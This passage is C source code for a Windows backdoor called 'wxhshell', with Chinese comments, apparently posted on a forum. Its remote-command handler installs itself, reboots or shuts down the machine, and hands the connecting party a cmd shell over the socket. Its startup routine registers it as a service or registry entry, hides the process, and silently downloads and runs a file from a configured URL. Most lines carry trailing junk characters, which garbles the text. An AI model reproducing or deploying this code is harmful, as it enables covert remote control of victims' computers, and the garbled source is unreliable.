  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %(O^as  
  } =8VJ.{xy_e  
  else { +Qb2LR  
TZ[F u{gZ  
    switch(cmd[0]) { .{Eg(1At  
  %_i0go,^  
  // 帮助 ;4O;74`Zh  
  case '?': { a#^4xy:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W4] 0qp`\  
    break; SqT"/e]b'  
  } tM?I()Y&P  
  // 安装 lw/ m0}it  
  case 'i': { T_;G))q'  
    if(Install()) 5]2!B b6>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,2:L{8_L  
    else ZP G8q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [/2@=Uh-  
    break; hTNYjXj  
    } ^PCL^]W  
  // 卸载 HWao3Lz  
  case 'r': { d T0 z^SG  
    if(Uninstall()) d+$[EDix  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e\bF_ N2VA  
    else b^=8%~?%4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h 19.b:JT  
    break; v:;C|uE|  
    } 4VL!U?dk  
  // 显示 wxhshell 所在路径 ":#A>L? l  
  case 'p': { CB7R{~ $  
    char svExeFile[MAX_PATH]; =S?-=jPtg  
    strcpy(svExeFile,"\n\r"); mrB hvp""  
      strcat(svExeFile,ExeFile); W} +6L|  
        send(wsh,svExeFile,strlen(svExeFile),0); ywa.cq  
    break; t+Tg@~K2[>  
    } C(Ba r#  
  // 重启 I{P$B-  
  case 'b': { P)o[p(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I]S(tx!  
    if(Boot(REBOOT)) Dqo:X`<bT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Gb{ckzs  
    else { ]r{ #268  
    closesocket(wsh); oeqJ?1=!  
    ExitThread(0); (fjXp75  
    } 9$w)_RX9W  
    break; ]KII?{ <k  
    } fJN9+l  
  // 关机 t"@|;uPAu  
  case 'd': { FU3IK3}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SEn8t"n  
    if(Boot(SHUTDOWN)) Y&:\s8C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %li{VDb  
    else { 3n"&$q6  
    closesocket(wsh); q\b9e&2Y  
    ExitThread(0); vf'jz`Z  
    } 6(;[ov1  
    break; !ilDR<  
    } ZkG##Jp\>  
  // 获取shell L?5t <`#lw  
  case 's': { Kof-;T  
    CmdShell(wsh); "+OMo-<K7  
    closesocket(wsh); JSP8Lu"n  
    ExitThread(0); =$`")3y3  
    break; $TUC?e9"h  
  } { l~T~3/i  
  // 退出 "PM:&v  
  case 'x': { u(Q(UuI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]7ZC>.t  
    CloseIt(wsh); ?q8g<-?  
    break; a*@Z^5f  
    } [&59n,R`  
  // 离开 kxiyF$ 9  
  case 'q': { x~I1(l7r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1;sAt;/W8  
    closesocket(wsh); gnK!"!nL  
    WSACleanup(); 7 @Qlp$[F  
    exit(1); cnO4N UDv  
    break; ^,r;/c9A8  
        } p_ y*-,W (  
  } @MVZy  
  } Fgq*3t  
, 0ja_  
  // 提示信息 ziip*<a !_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ji:@z%osr  
} ZjID<5#  
  } @k;3$  
U*l>8  
  return; KV(W|~+rM  
} 9Ei#t FMc  
Z@Z`8M@Q,  
// shell模块句柄 0|k[Wha#  
int CmdShell(SOCKET sock) $G.|5sEk  
{ *)sz]g|d  
STARTUPINFO si; D($UbT-v  
ZeroMemory(&si,sizeof(si)); !KW)*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uZI:Kt#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FC .-u"V  
PROCESS_INFORMATION ProcessInfo;  X0L{#U  
char cmdline[]="cmd"; JG$J,!.\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oMf h|B  
  return 0; ;\0RXirk  
} :O=Vr]Y8K  
tV%\Jk),  
// 自身启动模式 \Fjq|3`<l  
int StartFromService(void) S'fq/`2g6  
{ {[#  
typedef struct N_}Im>;!  
{ qa#F}aGd  
  DWORD ExitStatus; nr6U> KR^  
  DWORD PebBaseAddress; <<6#Uz.1  
  DWORD AffinityMask; "aH]4DO  
  DWORD BasePriority; )^3655mb  
  ULONG UniqueProcessId; [X\2U4  
  ULONG InheritedFromUniqueProcessId; 6 d6SP)|j  
}   PROCESS_BASIC_INFORMATION; 7qp|Msf},  
n\,W:G9AR7  
PROCNTQSIP NtQueryInformationProcess; VNfx>&`  
G(e?]{(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #{PNdINoU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Cl=ExpX/O  
o^J&c_U\3'  
  HANDLE             hProcess; HRh".!lxy  
  PROCESS_BASIC_INFORMATION pbi; @[lr F7`o  
)Qp?LECrt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b9jm= U  
  if(NULL == hInst ) return 0; 21Opx~T3  
.$;GVJ-:5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^\;5O(9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G3n7x?4m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n_Dhq(.  
qlP=Y .H  
  if (!NtQueryInformationProcess) return 0; ^%.<(:k[L  
':@qE\(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~I74'  
  if(!hProcess) return 0; =<icHt6s  
6cvm\ opH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BGS6uV4^>  
e)8iPu ..  
  CloseHandle(hProcess); D=$<E x^p  
f #14%?/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c+c^F/  
if(hProcess==NULL) return 0; z~al h?H  
* bK@A2`  
HMODULE hMod; 1d6pQ9 N  
char procName[255]; ?u|g2!{_  
unsigned long cbNeeded; V8/o@I{U[  
cE[lB08  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <Lt$qV-#  
;K!Or  
  CloseHandle(hProcess); D.~t#a A  
195(Kr<5$  
if(strstr(procName,"services")) return 1; // 以服务启动 "Y+`U  
]SI`fja/  
  return 0; // 注册表启动 DDEn63{  
} qA42f83  
'n=D$j]X  
// 主模块 o/xE O=AW  
int StartWxhshell(LPSTR lpCmdLine) ?5D7n"jY  
{ e;$s{CNo  
  SOCKET wsl; 5sH ee,  
BOOL val=TRUE; l`k3!EZDS  
  int port=0; N'StT$(  
  struct sockaddr_in door; %k~=iDk@  
1,E/So   
  if(wscfg.ws_autoins) Install(); 8I'?9rt2M  
0IZV4{  
port=atoi(lpCmdLine); 20q T1!j u  
>_o_&;=`v  
if(port<=0) port=wscfg.ws_port; &1&*(oi]X  
Z-p_hNb  
  WSADATA data; ?$?Ni)Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5R4 dN=L*1  
.*Z]0~ &|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +hfl.OBy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e :#\Oh  
  door.sin_family = AF_INET; c~V\,lcI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^%nAx| 4xQ  
  door.sin_port = htons(port); `7LdF,OdE  
b% F|V G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QxK%ZaFZA  
closesocket(wsl); D`ZYF)[}J  
return 1; 1@am'#<  
} J-U}iU|  
5b&'gd^d  
  if(listen(wsl,2) == INVALID_SOCKET) { uW]n3)7<I  
closesocket(wsl); gG}<l ':  
return 1; oyUf/ Sl  
} )XD_Yq@E  
  Wxhshell(wsl); Mqq7;w@(J  
  WSACleanup(); js{ RaR=  
P6MT[  
return 0; =0Nd\  
+iXA|L9=  
} /h_BF\VBs  
rIXAn4,dTv  
// 以NT服务方式启动 &ha39&I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H]SnM'Y  
{ 3+)i23[4=\  
DWORD   status = 0; E]68IuP@'  
  DWORD   specificError = 0xfffffff; k?_Miqr  
=4?m>v,re  
  serviceStatus.dwServiceType     = SERVICE_WIN32; km *$;Nli  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O%)w!0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hp)3@&T  
  serviceStatus.dwWin32ExitCode     = 0; pBHr{/\5  
  serviceStatus.dwServiceSpecificExitCode = 0; *b> ~L  
  serviceStatus.dwCheckPoint       = 0; $Q62 7  
  serviceStatus.dwWaitHint       = 0; n84*[d}t  
*r%=p/oQ}B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s{gdTG6v`  
  if (hServiceStatusHandle==0) return; 4B) prQ3  
=>4,/g3  
status = GetLastError(); Ra.<D.  
  if (status!=NO_ERROR) 90Q}9T\  
{ p 5P<3(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .Zo8KwkFY  
    serviceStatus.dwCheckPoint       = 0; m+CvU?)gJ  
    serviceStatus.dwWaitHint       = 0; #*5A]"k  
    serviceStatus.dwWin32ExitCode     = status;  I"r*p?  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0nBAO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @zE_fL  
    return; -V(5U! ^B  
  } [}.OlR3)  
zDC-PHF HQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V0"UFy?i  
  serviceStatus.dwCheckPoint       = 0; \!`*F :7]-  
  serviceStatus.dwWaitHint       = 0; gwNv ;g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D/rKqPp|!  
} YYN= `ST  
=Bl#CE)X  
// 处理NT服务事件,比如:启动、停止 {R\"x|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Jgb{Tl:r  
{ F8.Fp[_tM  
switch(fdwControl) !DXKn\aQf  
{ jf@#&%AC9  
case SERVICE_CONTROL_STOP: V 9][a  
  serviceStatus.dwWin32ExitCode = 0; [/6IEt3}B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1jO/"d.8n  
  serviceStatus.dwCheckPoint   = 0; y~jTI[kS  
  serviceStatus.dwWaitHint     = 0; q8`JRmt)H  
  { ~#N^@a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QXniWJJ  
  } u<:R Sg  
  return; )FYz*:f>&  
case SERVICE_CONTROL_PAUSE: Ub%5# <k|-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }hhDJ_I5M  
  break; C([TolZ  
case SERVICE_CONTROL_CONTINUE: @ITJ}e4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YOy/'Le^:  
  break; ZU5hHah.t  
case SERVICE_CONTROL_INTERROGATE: y>UM~E  
  break; }PUQvIGZZ&  
}; \GEFhM4)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MZv In ZS  
} T32C=7  
IR(qjm\V  
// 标准应用程序主函数 De6WC*trq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $_onSYWr  
{ n>" 0y^v  
<}&n}|!  
// 获取操作系统版本 RQ;pAO  
OsIsNt=GetOsVer(); %A|9=x*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @2nar<  
qH1[Bs Ox  
  // 从命令行安装 V>>"nf,YO  
  if(strpbrk(lpCmdLine,"iI")) Install(); s3Pr$h  
`A_CLVE  
  // 下载执行文件 E3@G^Y  
if(wscfg.ws_downexe) { -W38#_y/\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d kVF  
  WinExec(wscfg.ws_filenam,SW_HIDE); &`Oj<UyJY  
} >hHjDYjbf  
l 8qCg/ew  
if(!OsIsNt) { aAhXHsZ|26  
// 如果时win9x,隐藏进程并且设置为注册表启动 &mXJL3iN  
HideProc(); (NR8B9qLN  
StartWxhshell(lpCmdLine); 4jbqV  
} SaceIV%(  
else 2.)xWCG  
  if(StartFromService()) +L03. rf  
  // 以服务方式启动 R9@Dd  
  StartServiceCtrlDispatcher(DispatchTable); AqnDsr!  
else  `S$zwot  
  // 普通方式启动 O< [h  
  StartWxhshell(lpCmdLine); T;!: A  
50kjX}  
return 0; Hz~?"ts@;  
}
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只看该作者 1 发表于: 2006-10-10
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